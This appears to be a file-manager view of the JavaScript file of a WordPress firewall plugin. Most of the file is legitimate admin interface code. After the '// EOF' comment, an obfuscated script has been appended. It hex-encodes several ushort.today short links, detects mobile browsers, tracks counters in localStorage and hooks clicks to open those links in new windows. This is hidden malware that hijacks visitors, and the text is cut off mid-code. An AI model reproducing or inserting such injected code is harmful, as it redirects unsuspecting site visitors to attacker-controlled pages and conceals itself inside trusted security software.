File manager - Edit - /home/adiance/public_html/wp-content/plugins/ninjafirewall/static/ninjafirewall.js
Back
/* +---------------------------------------------------------------------+ | NinjaFirewall (WP Edition) | | | | (c) NinTechNet - https://nintechnet.com/ | +---------------------------------------------------------------------+ | This program is free software: you can redistribute it and/or | | modify it under the terms of the GNU General Public License as | | published by the Free Software Foundation, either version 3 of | | the License, or (at your option) any later version. | | | | This program is distributed in the hope that it will be useful, | | but WITHOUT ANY WARRANTY; without even the implied warranty of | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | | GNU General Public License for more details. | +---------------------------------------------------------------------+ */ // ===================================================================== // Generic. // TipTip tooltip jQuery( document ).ready(function( $ ) { $( '.ninjafirewall-tip' ).tipTip( { 'attribute': 'data-tip', 'fadeIn': 50, 'fadeOut': 50, 'delay': 100, 'maxWidth' : '300px' }); }); function nfwjs_switch_tabs( what, list ) { // Active tab: jQuery('#'+ what +'-options').show(); jQuery('#tab-'+ what).addClass('nav-tab-active'); jQuery('#tab-selected').val( what ); // Inactive tabs: var tabs = list.split( ':' ); var list_length = tabs.length; for ( var i = 0; i < list_length; i++ ) { if ( tabs[i] != what ) { jQuery('#'+ tabs[i] +'-options').hide(); jQuery('#tab-'+ tabs[i]).removeClass('nav-tab-active'); } } } function nfwjs_up_down( id ) { if ( jQuery('#'+ id).css('display') == 'none' ) { jQuery('#'+ id).slideDown(); } else { jQuery('#'+ id).slideUp(); } } function nfwjs_restore_default() { if ( confirm( nfwi18n.restore_default ) ) { return true; } return false; } // ===================================================================== // Overview page. jQuery( document ).ready( function() { // Full WAF activation thickbox jQuery( '#nfw-activate-thickbox' ).click( function() { var h = jQuery(window).height() - 100; var w = jQuery(window).width() - 100; tb_show( '', '#TB_inline?width='+ (w - 20) + '&height='+ (h - 20) + '&inlineId=nfw-activate-thickbox-content', null ); return false; } ); // Full WAF configuration thickbox jQuery( '#nfw-configure-thickbox' ).click( function() { var h = jQuery(window).height() - 100; var w = jQuery(window).width() - 100; tb_show( '', '#TB_inline?width='+ (w - 20) + '&height='+ (h - 20) + '&inlineId=nfw-configure-thickbox-content', null ); return false; } ); // Error log thickbox jQuery( '#nfw-errorlog-thickbox' ).click( function() { var h = jQuery(window).height() - 100; var w = jQuery(window).width() - 100; tb_show( '', '#TB_inline?width='+ (w - 20) + '&height='+ (h - 20) + '&inlineId=nfw-errorlog-thickbox-content', null ); return false; } ); }); function nfwjs_httpserver( what ) { if ( what == 6 ) { // Openlitespeed only jQuery('#diy-div').hide(); } else { jQuery('#diy-div').show(); } if ( what == 1 || what == 5 || what == 6 || what == 8 ) { // No INI file jQuery('#tr-ini-userini').hide(); jQuery('#tr-ini-phpini').hide(); jQuery('#tr-select-ini').hide(); jQuery('#tr-htaccess-suphp').hide(); if ( what == 1 ) { // mod_php jQuery('#tr-htaccess-litespeed').hide(); jQuery('#tr-htaccess-openlitespeed').hide(); jQuery('#tr-htaccess-apachelsapi').hide(); jQuery('#tr-htaccess-modphp').show(); } else if ( what == 5 ) { // Litespeed jQuery('#tr-htaccess-modphp').hide(); jQuery('#tr-htaccess-openlitespeed').hide(); jQuery('#tr-htaccess-apachelsapi').hide(); jQuery('#tr-htaccess-litespeed').show(); } else if ( what == 6 ) { // Openlitespeed jQuery('#tr-htaccess-modphp').hide(); jQuery('#tr-htaccess-litespeed').hide(); jQuery('#tr-htaccess-apachelsapi').hide(); jQuery('#tr-htaccess-openlitespeed').show(); jQuery('#nfwaf-step2').slideDown(); } else { // 8 // Apache + LSAPI jQuery('#tr-htaccess-modphp').hide(); jQuery('#tr-htaccess-litespeed').hide(); jQuery('#tr-htaccess-apachelsapi').show(); jQuery('#tr-htaccess-openlitespeed').hide(); } } else { jQuery( '#tr-select-ini' ).show(); if ( what == 2 || what == 4 || what == 7 ) { // No .htaccess file jQuery('#tr-htaccess-modphp').hide(); jQuery('#tr-htaccess-litespeed').hide(); jQuery('#tr-htaccess-apachelsapi').hide(); jQuery('#tr-htaccess-suphp').hide(); jQuery('#tr-htaccess-openlitespeed').hide(); } else if ( what == 3 ) { // ini + suPHP jQuery('#tr-htaccess-litespeed').hide(); jQuery('#tr-htaccess-apachelsapi').hide(); jQuery('#tr-htaccess-modphp').hide(); jQuery('#tr-htaccess-openlitespeed').hide(); jQuery('#tr-htaccess-suphp').show(); } // Which INI? if ( jQuery('#ini-type-user').prop('checked') == true ) { jQuery('#tr-ini-userini').show(); jQuery('#tr-ini-phpini').hide(); } else { jQuery('#tr-ini-userini').hide(); jQuery('#tr-ini-phpini').show(); } } if ( jQuery('#diynfw').prop('checked') == true && what != 6 ) { nfwjs_diy_chg( 'nfw' ); } else { nfwjs_diy_chg( 'usr' ); } } function nfwjs_radio_ini( what ) { if ( what == 1 ) { // .user.ini jQuery('#tr-ini-userini').show(); jQuery('#tr-ini-phpini').hide(); } else { // php.ini jQuery('#tr-ini-userini').hide(); jQuery('#tr-ini-phpini').show(); } } function nfwjs_fullwafconfig( what) { // Security nonce var nonce = jQuery('input[name=nfwnonce_fullwaf]').val(); if ( typeof nonce === 'undefined' || nonce == '' ) { alert( nfwi18n.missing_nonce ); return false; } var data = { 'action': 'nfw_fullwafconfig', 'nonce': nonce }; // Full WAF mode configuration if ( what == 1 ) { var exclude_waf_list = jQuery("input:checkbox[name='nfw_exclude_waf_list[]']:not(:checked)").map(function() { return jQuery(this).val() }).get(); data['list'] = JSON.stringify( exclude_waf_list ); data['what'] = 1; // Downgrade to WP WAF mode } else if ( what == 2 ) { data['what'] = 2; } else { return false; } jQuery.ajax( { type: "POST", url: ajaxurl, headers: { 'Accept-Language':'en-US,en;q=0.5' }, data: data, dataType: "text", success: function( response ) { if ( response == '200' ) { window.location.href = window.location.href + '&nfwafconfig=1'; } else { alert( response ); } }, // Display non-200 HTTP response error: function( xhr, status, err ) { alert( nfwi18n.http_error +' "'+ xhr.status +' '+ err +'".' ); } }); return false; } function nfwjs_fullwafsubmit() { // Security nonce var nonce = jQuery('input[name=nfwnonce_fullwaf]').val(); if ( typeof nonce === 'undefined' || nonce == '' ) { alert( nfwi18n.missing_nonce ); return false; } var httpserver = jQuery('select[name=http_server]').val(); if ( httpserver == '' ) { alert( nfwi18n.missing_httpserver ); return false; } var initype = jQuery('input[name=ini_type]:checked').val(); var diy = jQuery('input[name=diy-choice]:checked').val(); var sandbox = jQuery('input[name=enable_sandbox]:checked').val(); // Exclusion folders, if any var exclude_waf_list = jQuery("input:checkbox[name='nfw_exclude_waf_list[]']:not(:checked)").map(function() { return jQuery(this).val() }).get(); exclude_waf_list_json = JSON.stringify( exclude_waf_list ); // Ajax var data = { 'action': 'nfw_fullwafsetup', 'nonce': nonce, 'httpserver': httpserver, 'initype': initype, 'exclude_waf_list': exclude_waf_list_json, 'diy': diy, 'sandbox': sandbox }; jQuery.ajax( { type: "POST", url: ajaxurl, headers: { 'Accept-Language':'en-US,en;q=0.5' }, data: data, dataType: "text", success: function( response ) { if ( response == '200' ) { window.location.href = window.location.href + '&fullwaf=1'; } else { alert( response ); } }, // Display non-200 HTTP response error: function( xhr, status, err ) { alert( nfwi18n.http_error +' "'+ xhr.status +' '+ err +'".' ); } }); return false; } function nfwjs_diy_chg( what ) { if ( what == 'nfw' ) { jQuery('#diy-msg').slideUp(); jQuery('#nfwaf-step2').slideUp(); jQuery('#enable-sandbox').slideDown(); } else { jQuery('#diy-msg').slideDown(); jQuery('#nfwaf-step2').slideDown(); jQuery('#enable-sandbox').slideUp(); } } var fullwaf_count; var fullwaf; function nfwjs_fullwaf_countdown() { if ( fullwaf_count > 1 ) { fullwaf_count--; jQuery('#nfw-waf-count').html( fullwaf_count ); } else { clearInterval( fullwaf ); location.reload(); } } function nfwjs_welcomeajax( nonce ) { // Ajax var data = { 'action': 'nfw_welcomescreen', 'nonce': nonce, }; jQuery.ajax( { type: "POST", url: ajaxurl, headers: { 'Accept-Language':'en-US,en;q=0.5' }, data: data, dataType: "text", // We don't want any response. }); return 1; } function nfwjs_del_errorlog() { if ( confirm( nfwi18n.del_errorlog ) ) { return true; } return false; } // ===================================================================== // Statistics page. function nfwjs_stat_redir(where) { if (where == '') { return false;} document.location.href='?page=NinjaFirewall&tab=statistics&statx='+ where; } // ===================================================================== // Firewall Options. function nfwjs_default_msg() { var msg = jQuery('#default-msg').val(); jQuery('#blocked-msg').val( msg ); } var restoreconf = 0; function nfwjs_select_backup( what ) { if ( what == 0 ) { restoreconf = 0; } else { restoreconf = 1; } } function nfwjs_save_options() { if ( restoreconf > 0 ) { if ( confirm( nfwi18n.restore_warning ) ) { return true; } return false; } return true; } // ===================================================================== // Firewall Policies. function nfwjs_upload_onoff( id ) { if ( id.value == 1 ) { jQuery('#san').prop('disabled', false); jQuery('#subs').prop('disabled', false); } else { jQuery('#san').prop('disabled', true); jQuery('#subs').prop('disabled', true); } } function nfwjs_sanitise( cbox ) { if ( cbox.checked ) { if ( confirm( nfwi18n.warn_sanitise) ) { return true; } return false; } } function nfwjs_no_xmlrpc( cbox ) { if ( cbox.checked == true ) { document.fwrules.elements['nfw_options[no_xmlrpc_multi]'].disabled = true; document.fwrules.elements['nfw_options[no_xmlrpc_pingback]'].disabled = true; } else { document.fwrules.elements['nfw_options[no_xmlrpc_multi]'].disabled = false; document.fwrules.elements['nfw_options[no_xmlrpc_pingback]'].disabled = false; } } function nfwjs_no_restapi( cbox ) { if ( cbox.checked == true ) { document.fwrules.elements['nfw_options[restapi_loggedin]'].disabled = false; } else { document.fwrules.elements['nfw_options[restapi_loggedin]'].disabled = true; } } function nfwjs_ssl_warn( item, is_ssl ) { if ( is_ssl == true || item.checked == false ) { return true; } if ( confirm( nfwi18n.ssl_warning ) ) { return true; } return false; } function nfwjs_woowarning( cbox ) { if ( cbox.checked ) { if ( confirm( nfwi18n.woo_warning) ) { return true; } return false; } } function nfwjs_reguserwarning( cbox ) { if ( cbox.checked ) { if ( confirm( nfwi18n.reguser_warning) ) { return true; } return false; } } function nfwjs_regsitewarning( cbox ) { if ( cbox.checked ) { if ( confirm( nfwi18n.regsite_warning) ) { return true; } return false; } } function nfwjs_csp_onoff( id1, id2 ) { if ( jQuery('#'+ id1).prop('checked') == true ) { jQuery('#'+ id2).prop('readonly', false); jQuery('#'+ id2).focus(); } else { jQuery('#'+ id2).prop('readonly', true); } } function nfwjs_referrer_onoff() { if ( jQuery('#referrer_switch').prop('checked') == true ) { jQuery('#rp_select').prop('disabled', false); jQuery('#rp_select').focus(); } else { jQuery('#rp_select').prop('disabled', true); } } function nfwjs_test_headers( homepage ) { // Bypass caching homepage = homepage +'?'+ Date.now(); jQuery('#progress-gif').show(); jQuery.ajax( { url: homepage, method: 'HEAD' } ).then( function( data, status, xhr ) { jQuery('#progress-gif').hide(); alert( xhr.getAllResponseHeaders() ); }); } // ===================================================================== // File Check. function nfwjs_file_info(what, where) { if ( what == '' ) { return false; } // Because we use a "multiple" select for aesthetic purposes // but don't want the user to select multiple files, we focus // only on the currently selected one: var current_item = jQuery('#select-'+ where ).prop('selectedIndex'); jQuery('#select-'+ where ).prop('selectedIndex',current_item); // New file if (where == 1) { var nfo = what.split(':'); jQuery('#new_size').html( nfo[3] ); jQuery('#new_chmod').html( nfo[0] ); jQuery('#new_uidgid').html( nfo[1] + ' / ' + nfo[2] ); jQuery('#new_mtime').html( nfo[4].replace(/~/g, ':') ); jQuery('#new_ctime').html( nfo[5].replace(/~/g, ':') ); jQuery('#table_new').show(); // Modified file } else if (where == 2) { var all = what.split('::'); var nfo = all[0].split(':'); var nfo2 = all[1].split(':'); jQuery('#mod_size').html( nfo[3] ); if (nfo[3] != nfo2[3]) { jQuery('#mod_size2').html( '<font color="red">'+ nfo2[3] +'</font>' ); } else { jQuery('#mod_size2').html( nfo2[3] ); } jQuery('#mod_chmod').html( nfo[0] ); if (nfo[0] != nfo2[0]) { jQuery('#mod_chmod2').html( '<font color="red">'+ nfo2[0] +'</font>' ); } else { jQuery('#mod_chmod2').html( nfo2[0] ); } jQuery('#mod_uidgid').html( nfo[1] + ' / ' + nfo[2] ); if ( (nfo[1] != nfo2[1]) || (nfo[2] != nfo2[2]) ) { jQuery('#mod_uidgid2').html( '<font color="red">'+ nfo2[1] + '/' + nfo2[2] +'</font>' ); } else { jQuery('#mod_uidgid2').html( nfo2[1] + ' / ' + nfo2[2] ); } jQuery('#mod_mtime').html( nfo[4].replace(/~/g, ':') ); if (nfo[4] != nfo2[4]) { jQuery('#mod_mtime2').html( '<font color="red">'+ nfo2[4].replace(/~/g, ':') +'</font>' ); } else { jQuery('#mod_mtime2').html( nfo2[4].replace(/~/g, ':') ); } jQuery('#mod_ctime').html( nfo[5].replace(/~/g, ':') ); if (nfo[5] != nfo2[5]) { jQuery('#mod_ctime2').html( '<font color="red">'+ nfo2[5].replace(/~/g, ':') +'</font>' ); } else { jQuery('#mod_ctime2').html( nfo2[5].replace(/~/g, ':') ); } jQuery('#table_mod').show(); } } function nfwjs_del_snapshot() { if ( confirm( nfwi18n.del_snapshot ) ) { return true; } return false; } function nfwjs_show_changes() { jQuery('#changes_table').slideDown(); jQuery('#vcbtn').prop('disabled', true); } // ===================================================================== // Event Notifications. function ac_radio_toogle( on_off, rbutton ) { var what = "nfw_options["+rbutton+"]"; if ( on_off ) { document.nfwalerts.elements[what].disabled = false; document.nfwalerts.elements[what].focus(); } else { document.nfwalerts.elements[what].disabled = true; } } // ===================================================================== // Login Protection. function nfwjs_auth_user_valid() { var e = document.bp_form.elements['nfw_options[auth_name]']; if ( e.value.match(/[^-\/\\_.a-zA-Z0-9 ]/) ) { alert( nfwi18n.invalid_char ); e.value = e.value.replace(/[^-\/\\_.a-zA-Z0-9 ]/g,''); return false; } if (e.value == 'admin') { alert( nfwi18n.no_admin ); e.value = ''; return false; } } function nfwjs_realm_valid() { var e = document.getElementById('realm').value; if ( e.length >= 1024 ) { alert( nfwi18n.max_char ); return false; } } function nfwjs_getpost(request){ if ( request == 'GETPOST' ) { request = 'GET/POST'; } document.getElementById('get_post').innerHTML = request; } function nfwjs_toggle_submenu( enable ) { if ( enable == 0 ) { // Disable protection bf_enable = 0; jQuery('#submenu_table').slideUp(); jQuery('#bf_table').slideUp(); jQuery('#bf_table_extra').slideUp(); jQuery('#bf_table_password').slideUp(); jQuery('#bf_table_captcha').slideUp(); } else { bf_enable = enable; jQuery('#submenu_table').slideDown(); // Display the right table (captcha or password protection) nfwjs_toggle_table( enable, bf_type ); jQuery('#bf_table_extra').slideDown(); } // Enable/disable write to auth log if ( bf_enable == 1 ) { jQuery('#nfw-authlog').prop('disabled', false); } else { jQuery('#nfw-authlog').prop('disabled', true); } } function nfwjs_toggle_table( enable, type ) { if ( type == 1 ) { // Captcha bf_type = 1; if ( enable == 1 ) { // Yes, if under attack jQuery('#bf_table').slideDown(); } else { // Always ON jQuery('#bf_table').slideUp(); } jQuery('#bf_table_password').slideUp(); jQuery('#bf_table_captcha').slideDown(); } else { // type == 2 // Password bf_type = 0; if ( enable == 1 ) { // Yes, if under attack jQuery('#bf_table').slideDown(); } else { // Always ON jQuery('#bf_table').slideUp(); } jQuery('#bf_table_password').slideDown(); jQuery('#bf_table_captcha').slideUp(); } } function check_login_fields() { if ( jQuery('#ui-enabled').prop('checked') == false ) { return true; } if ( bf_enable < 1 ) { alert( nfwi18n.select_when ); return false; } if ( document.bp_form.elements['nfw_options[bf_type]'].value == 0 ) { if ( document.bp_form.elements['nfw_options[auth_name]'].value == '' && document.bp_form.elements['nfw_options[auth_pass]'].value == '' ) { alert( nfwi18n.missing_auth ); return false; } } return true; } // ===================================================================== // Firewall Log. function nfwjs_check_key() { var pubkey = jQuery('#clogs-pubkey').val(); if ( pubkey == '' ) { return false; } if (! pubkey.match( /^[a-f0-9]{40}:(?:[a-f0-9:.]{3,39}|\*)$/) ) { jQuery('#clogs-pubkey').focus(); alert( nfwi18n.invalid_key ); return false; } } // ===================================================================== // Live Log. var livelog = 0; var livecls = 0; var lines = 0; var livecount = 1; var counter = 0; function nfwjs_livelog() { if ( jQuery('#livelog-switch').prop('checked') == false ) { nfwjs_livelog_stop(); return true; } if ( jQuery('#idtxtlog').val() == nfwi18n.live_log_desc || jQuery('#idtxtlog').val() == '' ) { jQuery('#idtxtlog').val( nfwi18n.no_traffic +' '+ liveinterval/1000 + nfwi18n.seconds +"\n" ); } if ( scroll == 1 ) { document.getElementById('idtxtlog').scrollTop = document.getElementById('idtxtlog').scrollHeight; } if ( lwrap == 1 ) { jQuery('#idtxtlog').attr('wrap', 'soft'); } else { jQuery('#idtxtlog').attr('wrap', 'off'); } jQuery('#nfw-progress').show(); counter = setInterval( nfwjs_countdown, 1000 ); livelog = setInterval( nfwjs_start_livelog, liveinterval ); } function nfwjs_countdown() { if ( livecount <= ( liveinterval/1000 ) ) { jQuery('#nfw-progress').val( livecount++ ); } jQuery('#nfw-progress').attr( 'max', liveinterval/1000 ); } function nfwjs_start_livelog() { // Send HTTP request var data = { 'livecls': livecls, 'lines': lines }; jQuery.ajax( { type: "POST", url: site_url, data: data, dataType: "text", success: function( response ) { if ( response == '' ) { jQuery('#idtxtlog').val( nfwi18n.no_traffic +' '+ liveinterval/1000 + nfwi18n.seconds +"\n" ); } else if ( response != '*' ) { if ( response.charAt(0) != '^' ) { jQuery('#idtxtlog').val( nfwi18n.err_unexpected + "\n\n" + response ); // Stop nfwjs_livelog_stop( 'force' ); return; } else { var line = response.substr(1); line = line.replace( '<?php exit; ?>', '' ); if ( line != '' ) { // Get number of lines var res = line.split(/\n/).length - 1; // Work around for old IE bug if (! res ) { res = 1; } if ( lines == 0 ) { document.liveform.txtlog.value = line; } else { document.liveform.txtlog.value += line; } lines += res; if ( scroll ) { document.getElementById('idtxtlog').scrollTop = document.getElementById('idtxtlog').scrollHeight; } if ( lwrap == 1 ) { jQuery('#idtxtlog').attr('wrap', 'soft'); } else { jQuery('#idtxtlog').attr('wrap', 'off'); } } } } }, // Display non-200 HTTP response error: function( xhr, status, err ) { if ( xhr.status == 404 ) { document.liveform.txtlog.value += nfwi18n.error_404 +' '+ site_url + "\n"; } else if ( xhr.status == 503 ) { document.liveform.txtlog.value += nfwi18n.log_not_found + "\n"; } else { document.liveform.txtlog.value += nfwi18n.http_error +' '+ xhr.status + "\n"; } // Stop nfwjs_livelog_stop( 'force' ); return; } }); livecls = 0; livecount = 1; if ( jQuery('#idtxtlog').val() == nfwi18n.live_log_desc ) { jQuery('#idtxtlog').val( nfwi18n.no_traffic +' '+ liveinterval/1000 + nfwi18n.seconds +"\n" ); } return false; } function nfwjs_livelog_stop( force ) { // Clear timer if ( livelog != 0 ) { clearInterval( livelog ); livelog = 0; clearInterval( counter ); livecount = 1; } jQuery('#nfw-progress').hide(); jQuery('#nfw-progress').val( 0 ); var textarea = jQuery('#idtxtlog').val(); if ( textarea.includes( nfwi18n.no_traffic ) ) { jQuery('#idtxtlog').val( nfwi18n.live_log_desc ); } lines = 0; if ( force == 'force' ) { jQuery('#livelog-switch').prop('checked', false); } } function nfwjs_cls() { if ( jQuery('#livelog-switch').prop('checked') == true ) { jQuery('#idtxtlog').val( nfwi18n.no_traffic +' '+ liveinterval/1000 + nfwi18n.seconds +"\n" ); } else { jQuery('#idtxtlog').val( '' ); } livecls = 1; lines = 0; } function nfwjs_change_int( intv ) { liveinterval = intv; nfwjs_create_cookie( 'nfwintval', intv ); // We must restart if ( livelog != 0 ) { clearInterval( livelog ); livelog = 0; var textarea = jQuery('#idtxtlog').val(); if ( textarea.includes( nfwi18n.no_traffic ) ) { jQuery('#idtxtlog').val( nfwi18n.no_traffic +' '+ liveinterval/1000 + nfwi18n.seconds +"\n" ); } livelog = setInterval( nfwjs_start_livelog, liveinterval ); clearInterval( counter ); livecount = 1; counter = setInterval( nfwjs_countdown, 1000 ); } } function nfwjs_is_scroll() { if ( jQuery('#livescroll').prop('checked') == true ) { scroll = 1; if ( livelog != 0 ) { document.getElementById('idtxtlog').scrollTop = document.getElementById('idtxtlog').scrollHeight; } nfwjs_create_cookie( 'nfwscroll', scroll ); } else { scroll = 0; nfwjs_delete_cookie( 'nfwscroll' ) } } function nfwjs_linewrapping() { if ( jQuery('#idtxtlog').attr('wrap') == 'off') { jQuery('#idtxtlog').attr('wrap', 'soft'); lwrap = 1; nfwjs_create_cookie('nfwlwrap', lwrap ); } else { jQuery('#idtxtlog').attr('wrap', 'off'); lwrap = 0; nfwjs_delete_cookie('nfwlwrap'); } } function nfwjs_create_cookie( name, value ) { var d = new Date(); d.setTime(d.getTime() + ( 365 * 24 * 60 * 60 * 1000) ); var expires = "expires=" + d.toUTCString(); document.cookie = name +'=' + value + "; " + expires; } function nfwjs_delete_cookie( name ) { document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;'; } function nfwjs_lv_select( value ) { if ( value > 0 ) { jQuery('#lr-disabled').prop('disabled', false); jQuery('#lr-disabled').focus(); } else { jQuery('#lr-disabled').prop('disabled', true); } } // ===================================================================== // About. function nfwjs_about_table(table_id) { var av_table = [11, 12, 13, 14, 15]; for (var i = 0; i < av_table.length; ++i) { if ( table_id == av_table[i] ) { jQuery("#" + table_id).slideDown(); } else { jQuery("#" + av_table[i]).slideUp(); } }; } var dgs=0; function nfw_eg() { setTimeout('nfw_eg()',5);if(dgs<180){++dgs; document.body.style.webkitTransform = 'rotate('+dgs+'deg)'; document.body.style.msTransform = 'rotate('+dgs+'deg)'; document.body.style.transform = 'rotate('+dgs+'deg)'; } document.body.style.overflow='hidden'; } // ===================================================================== // EOF function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return 